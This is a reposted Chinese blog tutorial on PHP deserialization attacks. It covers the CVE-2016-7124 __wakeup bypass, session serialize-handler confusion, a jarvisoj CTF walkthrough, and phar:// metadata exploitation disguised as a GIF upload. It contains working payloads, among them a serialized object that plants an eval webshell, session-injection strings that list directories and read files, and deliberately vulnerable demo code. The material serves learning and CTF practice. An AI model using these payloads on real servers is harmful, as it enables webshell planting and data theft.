原作者:大方子

原文链接:https://blog.csdn.net/nzjdsds/article/details/82703639

0x01 索引

最近在总结php序列化相关的知识,看了好多前辈师傅的文章,决定对四个理解难度递进的序列化思路进行一个复现剖析。包括最近Blackhat议题披露的phar拓展php反序列化漏洞攻击面。前人栽树,后人乘凉,担着前辈师傅们的辅拓前行!

为了让大家进入状态,来一道简单的反序列化小题,新来的表哥们可以先学习一下php序列化和反序列化。顺便安利一下D0g3小组的平台~

题目平台地址:http://ctf.d0g3.cn

题目入口:http://120.79.33.253:9001

页面给了源码

<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);

直接上传s:7:"D0g3!!!"即可get flag

0x02 绕过魔法函数的反序列化漏洞

漏洞编号:CVE-2016-7124

魔法函数sleep() 和 wakeup()

php文档中定义__wakeup():

unserialize() 执行时会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。wakeup()经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。sleep()则相反,是用在序列化一个对象时被调用

漏洞剖析

PHP5 < 5.6.25

PHP7 < 7.0.10

PHP官方给了示例:https://bugs.php.net/bug.php?id=72663

这个漏洞核心:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行比如下面这个类构造:

class hpdoger{
public $a = 'nice to meet u';
}

序列化这个类得到的结果:

O:7:"hpdoger":1:{s:1:"a";s:6:"nice to meet u";}

单解释一下这个序列化字符串:

O代表结构类型为:类,7表示类名长度,接着是类名、属性(成员)个数

大括号内分别是:属性名类型、长度、名称;值类型、长度、值

正常情况下,反序列化一个类得到的结果:

析构方法和__wakeup都能够执行

如果我们把传入的序列化字符串的属性个数更改成大于1的任何数

O:7:"hpdoger":2:{s:1:"a";s:6:"u know";}

得到的结果如图,__wakeup没有被执行,但是执行了析构函数

假如我们的demo是这样的呢?

<?php
class A{
var $a = "test";
function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$hpdoger = $_POST['hpdoger'];
$clan = unserialize($hpdoger);
?>

每次反序列化是都会调用__wakeup从而把$a值清空。但是,如果我们绕过wakeup不就能写Shell了?既然反序列化的内容是可控的,就利用上述的方法绕过wakeup。

poc:

O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}

0x03 序列化漏洞常见的魔法函数

construct():当一个类被创建时自动调用
destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

0x04 Session反序列化漏洞

提到这个漏洞,就得先知道什么叫Session序列化机制。

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

PHP处理器的三种序列化方式:

|             处理器           |                                             对应的存储格式                                                        |
| ————————— |——————————— |
| php_binary | 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 |
| php | 键名+竖线+经过serialize()函数反序列处理的值 |
| php_serialize | serialize()函数反序列处理数组方式 |

配置文件php.ini中含有这几个与session存储配置相关的配置项:

session.save_path=""   --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php

一个简单的demo(session.php)认识一下存储过程:

<?php
ini_set('session.serialize_handler','php_serialize');
session_start(); $_SESSION['hpdoger'] = $_GET['hpdoger']; ?>

访问页面

http://localhost/test/session.php?hpdoger=lover

在session.save_path对应路径下会生成一个文件,名称例如:sess_1ja9n59ssk975tff3r0b2sojd5

因为选择的序列化处理方式为php_serialize,所以是被serialize()函数处理过的$_SESSION[‘hpdoger’]。存储文件内容:

a:1:{s:7:"hpdoger";s:5:"lover";}

如果选择的序列化处理方式为php,即ini_set('session.serialize_handler','php');,则存储内容为:

hpdoger|s:5:"lover";

0x05 漏洞剖析

选择的处理方式不同,序列化和反序列化的方式亦不同。如果网站序列化并存储Session与反序列化并读取Session的方式不同,就可能导致漏洞的产生。

这里提供一个demo:存储Session页面:

/*session.php*/

<?php
ini_set('session.serialize_handler','php_serialize');
session_start(); $_SESSION['hpdoger'] = $_GET['hpdoger']; ?>

可利用页面:

/*test.php*/

<?php
ini_set('session.serialize_handler','php');
session_start(); class hpdoger{
var $a; function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
fputs($fp,$this->a);
fclose($fp);
}
} ?>

访问第一个页面的poc:

/tmp目录下生成的session文件内容:

a:1:{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}

再访问test.php时反序列化已存储的session,新的php处理方式会把“|”后的值当作KEY值再serialize(),相当于我们实例化了这个页面的hpdoger类,相当于执行:

$_SESSION['hpdoger'] = new hpdoger();
$_SESSION['hpdoger']->a = '<?php phpinfo()?>';

在指定的目录D:phpStudy//PHPTutorial//WWW//testshell.php中会写入内容

0x06 jarvisoj的一道SESSION反序列化

题目入口(http://web.jarvisoj.com:32784/index.php)

Index页给源码:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
} function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

看到ini_set(‘session.serialize_handler’, ‘php’);

暂时没找到用php_serialize添加session的方法。但看到当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()

这里参考Chybeta师傅的一个姿势:session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。

构造上传的表单poc,列出当前目录:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

再看下源代码:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
<?php
class OowoO
{
public $mdzz='xxxxx';
}
$obj = new OowoO();
echo serialize($obj);
?>

payloay1:将xxxxx替换为print_r(scandir(dirname(FILE)));,得到序列化结果:

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止转义,在引号前加上\。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意,前面有一个|,这是session的格式。

通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]

将xxx处改为:

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

然后位了防止转义在加上\

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag:

0x07 phar伪协议触发php反序列化

最近Black Hat比较热的一个议题:It’s a PHP unserialization vulnerability Jim, but not as we know it。参考了创宇的文章,这里笔者把它作为php反序列化的最后一个模块,希望日后能在以上的几种反序列化之外拓宽新的思路。

7.1 phar://协议

可以将多个文件归入一个本地文件夹,也可以包含一个文件

7.2 phar文件

PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

7.3 phar文件结构

详情参考php手册(https://secure.php.net/phar)

这里摘出创宇提供的四部分结构概要:

1、a stub

识别phar拓展的标识,格式:xxx。对应的函数Phar::setStub

2、a manifest describing the contents

被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据

3、 the file contents

被压缩文件的内容。

4、[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘

7.4 Phar内置方法

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)

PHP内置phar类,其他的一些方法如下:

$phar = new Phar('phar/hpdoger.phar'); //实例一个phar对象供后续操作
$phar->startBuffering() //开始缓冲Phar写操作
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo() //解压一个phar包的函数,extractTo 提取phar文档内容

7.5 漏洞剖析

文件的第二部分a manifest describing the contents可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控,参数部分我们利用Phar伪协议,可以不依赖unserialize()直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。

而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。

7.6 文件上传绕过deomo

自己写了个丑陋的代码,只允许gif文件上传(实则有其他方法绕过,这里不赘述),代码部分如下

前端上传:

<form action="http://localhost/test/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="hpdoger">
<input type="submit" name="submit">
</form>

后端验证:

/*upload.php*/
<?php
/*返回后缀名函数*/
function getExt($filename){
return substr($filename,strripos($filename,'.')+1);
} /*检测MIME类型是否为gif*/
if($_FILES['hpdoger']['type'] != "image/gif"){
echo "Not allowed !";
exit;
}
else{
$filenameExt = strtolower(getExt($_FILES['hpdoger']['name'])); /*提取后缀名*/ if($filenameExt != 'gif'){
echo "Not gif !";
}
else{
move_uploaded_file($_FILES['hpdoger']['tmp_name'], $_FILES['hpdoger']['name']);
echo "Successfully!";
}
}
?>

代码判断了MIME类型+后缀判断,如下是我测试php文件的两个结果:

直接上传php

抓包更改content-type为 image/gif再次上传



可以看到两次都被拒绝上传,那我们更改phar后缀名再次上传

php环境编译生成一个phar文件,代码如下:

<?php
class not_useful{
var $file = "<?php phpinfo() ?>";
} @unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar"); $phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif文件头
$phar->setMetadata($test);
$phar->addFromString("test.txt","test"); $phar->stopBuffering();
?>

这里实例的类是为后面的demo做铺垫,php文件同目录下生成hpdoger.phar文件,我们更改名称为hpdoger.gif看一下

gif头、phar识别序列、序列化后的字符串都具备

上传一下看能否成功,成功绕过检测在服务端存储一个hpdoger.gif

7.7 利用Phar://伪协议demo

我们已经上传了可解析的phar文件,现在需要找到一个文件操作函数的页面来利用,这里笔者写一个比较鸡肋的页面,目的是还原流程而非真实情况。

代码如下:reapperance.php

<?php
$recieve = $_GET['recieve']; /*写入文件类操作*/
class not_useful{
var $file; function __destruct(){
$fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w"); //自定义写入路径
fputs($fp,$this->file);
fclose($fp);
} file_get_contents($recieve); ?>

$recieve可控,符合我们的利用条件。那我们构造payload:

若执行成功,会将刚才写入meta-data数据里面序列化的类进行反序列化,并且实例了$file成员,导致文件写入,成功写入如下:

7.8 可利用的文件操作函数

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

7.9 各种文件头

[代码审计]四个实例递进php反序列化漏洞理解【转载】的更多相关文章

  1. .NET高级代码审计(第一课)XmlSerializer反序列化漏洞

    0X00 前言 在.NET 框架中的 XmlSerializer 类是一种很棒的工具,它是将高度结构化的 XML 数据映射为 .NET 对象.XmlSerializer类在程序中通过单个 API 调用 ...

  2. .NET高级代码审计(第四课) JavaScriptSerializer反序列化漏洞

    0X00 前言 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.S ...

  3. .NET高级代码审计(第五课) .NET Remoting反序列化漏洞

    0x00 前言 最近几天国外安全研究员Soroush Dalili (@irsdl)公布了.NET Remoting应用程序可能存在反序列化安全风险,当服务端使用HTTP信道中的SoapServerF ...

  4. .NET高级代码审计(第三课)Fastjson反序列化漏洞

    0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...

  5. .NET高级代码审计(第二课) Json.Net反序列化漏洞

    0X00 前言 Newtonsoft.Json,这是一个开源的Json.Net库,官方地址:https://www.newtonsoft.com/json ,一个读写Json效率非常高的.Net库,在 ...

  6. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  7. PHP反序列化漏洞代码审计—学习资料

    1.什么是序列化 A.PHP网站的定义: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回php原来的值. ...

  8. php代码审计9审计反序列化漏洞

    序列化与反序列化:序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化 漏洞成因:反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根 ...

  9. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

随机推荐

  1. django learn step

    django开发: 1 安装python环境 官网下载后安装 或者安装anacondaconda env list anaconda相关操作: 查看环境 conda env list 创建环境 con ...

  2. 5.kafka API consumer

    1.kafka consumer流程1.1.在启动时或者协调节点故障转移时,消费者发送ConsumerMetadataRequest给bootstrap brokers列表中的任意一个brokers. ...

  3. Android自动化测试探索(七)代码覆盖率统计

    之前在 https://www.cnblogs.com/zhouxihi/p/11453738.html 这篇写了一种统计Android覆盖率的方式 但是对于一些比较复杂或者代码结构不够规范的项目,有 ...

  4. python接口自动化18-multipart/form-data上传多个附件

    前言 reuqests上传一张图片到服务器,前面已经介绍过了,那么如何在提交BUG的时候,上传附件呢? 上传附件的时候,文件的name参数名称是一样的,python里面key是不可以重复的,又如何处理 ...

  5. jqGrid行编辑配置,方法,事件

    行编辑可以在行修改后更新数据,如下图所示 用户用鼠标点击选择一行,jqGrid将可编辑的字段转换为数据输入单元,如上面图所示.不可编辑的列,如id,不会转为可输入单元,而是保持不变.可以通过配置col ...

  6. mount.cifs Windows共享目录权限755问题

    umount -l /usr/local/tomcat7/webapps/dsideal_yy/html/down mount -t cifs -o rw,dir_mode=,file_mode=,s ...

  7. 【独家】K8S漏洞报告 | 近期bug fix解读

    安全漏洞CVE-2019-3874分析 Kubernetes近期重要bug fix分析 Kubernetes v1.13.5 bug fix数据分析 ——本周更新内容 安全漏洞CVE-2019-387 ...

  8. 右键tomcat找不到项目:There are no resources that can be added or removed from the server.

    右键Add and Remove找不到项目,会出现下面这个弹框: 之后在项目文件夹上右键(Java Build Path中引用的jdk的版本也需要和下面这个Project Facets中配置的java ...

  9. samba简单配置

    Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成.SMB (Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种 ...

  10. gsoup webservice

    SoapUI调用webservice实现的两种方式 gsoup https://blog.csdn.net/zhuzhihai1988/article/details/8131370